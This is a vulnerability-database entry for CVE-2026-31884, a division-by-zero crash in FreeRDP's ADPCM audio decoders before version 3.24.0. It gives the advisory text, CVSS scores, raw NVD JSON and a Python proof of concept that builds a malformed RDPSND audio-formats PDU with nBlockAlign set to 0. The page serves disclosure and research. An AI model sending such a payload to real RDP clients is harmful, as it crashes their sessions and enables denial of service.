Security Vulnerability Report
中文
CVE-2026-31884 CVSS 6.5 MEDIUM

CVE-2026-31884

Published: 2026-03-13 19:54:37
Last Modified: 2026-03-17 14:25:11

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.24.0, division by zero in MS-ADPCM and IMA-ADPCM decoders when nBlockAlign is 0, leading to a crash. In libfreerdp/codec/dsp.c, both ADPCM decoders use size % block_size where block_size = context->common.format.nBlockAlign. The nBlockAlign value comes from the Server Audio Formats PDU on the RDPSND channel. The value 0 is not validated anywhere before reaching the decoder. When nBlockAlign = 0, the modulo operation causes a SIGFPE (floating point exception) crash. This vulnerability is fixed in 3.24.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.24.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-31884 PoC - FreeRDP ADPCM Decoder Division by Zero # This PoC demonstrates the vulnerability by crafting a malicious RDP audio format PDU import struct def create_malicious_audio_format_pdu(): """ Create a malicious Server Audio Formats PDU with nBlockAlign=0 This triggers division by zero in ADPCM decoders """ # Audio format structure for RDPSND channel # Format: wFormatTag(2) | nChannels(2) | nSamplesPerSec(4) | nAvgBytesPerSec(4) # | nBlockAlign(2) | wBitsPerSample(2) | cbSize(2) [optional] wFormatTag = 0x0002 # MS-ADPCM codec nChannels = 1 nSamplesPerSec = 8000 nAvgBytesPerSec = 8000 nBlockAlign = 0 # MALICIOUS: Set to 0 to trigger division by zero wBitsPerSample = 4 cbSize = 0 # Construct audio format tag format_data = struct.pack('<HHIIHH', wFormatTag, nChannels, nSamplesPerSec, nAvgBytesPerSec, nBlockAlign, # Vulnerable field wBitsPerSample ) if cbSize > 0: format_data += struct.pack('<H', cbSize) # RDPSND header: msgType(2) | bodySize(4) | numFormats(2) msg_type = 0x0002 # SNDC_FORMATS num_formats = 1 body_size = 2 + len(format_data) # numFormats + formatData header = struct.pack('<HI', msg_type, body_size ) format_header = struct.pack('<H', num_formats) return header + format_header + format_data def exploit(): """ Simulate sending malicious PDU to FreeRDP client In real attack: This would be sent via RDP connection on RDPSND channel """ malicious_pdu = create_malicious_audio_format_pdu() print(f"[*] Generated malicious audio format PDU ({len(malicious_pdu)} bytes)") print(f"[*] nBlockAlign value: 0 (will cause SIGFPE in ADPCM decoder)") print(f"[*] Trigger condition: size % 0 in libfreerdp/codec/dsp.c") return malicious_pdu if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31884", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:37.373", "lastModified": "2026-03-17T14:25:10.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.24.0, division by zero in MS-ADPCM and IMA-ADPCM decoders when nBlockAlign is 0, leading to a crash. In libfreerdp/codec/dsp.c, both ADPCM decoders use size % block_size where block_size = context->common.format.nBlockAlign. The nBlockAlign value comes from the Server Audio Formats PDU on the RDPSND channel. The value 0 is not validated anywhere before reaching the decoder. When nBlockAlign = 0, the modulo operation causes a SIGFPE (floating point exception) crash. This vulnerability is fixed in 3.24.0."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.24.0, división por cero en los decodificadores MS-ADPCM e IMA-ADPCM cuando nBlockAlign es 0, lo que lleva a un fallo. En libfreerdp/codec/dsp.c, ambos decodificadores ADPCM usan size % block_size donde block_size = context-&gt;common.format.nBlockAlign. El valor nBlockAlign proviene de la PDU de Formatos de Audio del Servidor en el canal RDPSND. El valor 0 no se valida en ningún lugar antes de llegar al decodificador. Cuando nBlockAlign = 0, la operación de módulo causa un fallo SIGFPE (excepción de coma flotante). Esta vulnerabilidad se corrige en la versión 3.24.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-369"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.24.0", "matchCriteriaId": "97FCA262-35C3-4B6B-A321-15CE780FCA20"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/commit/03b48b3601d867afccac1cdc6081de7a275edce7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreeRDP/FreeRDP/commit/16df2300e1e3f5a51f68fb1626429e58b531b7c8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-jp7m-94ww-p56r", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-jp7m-94ww-p56r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}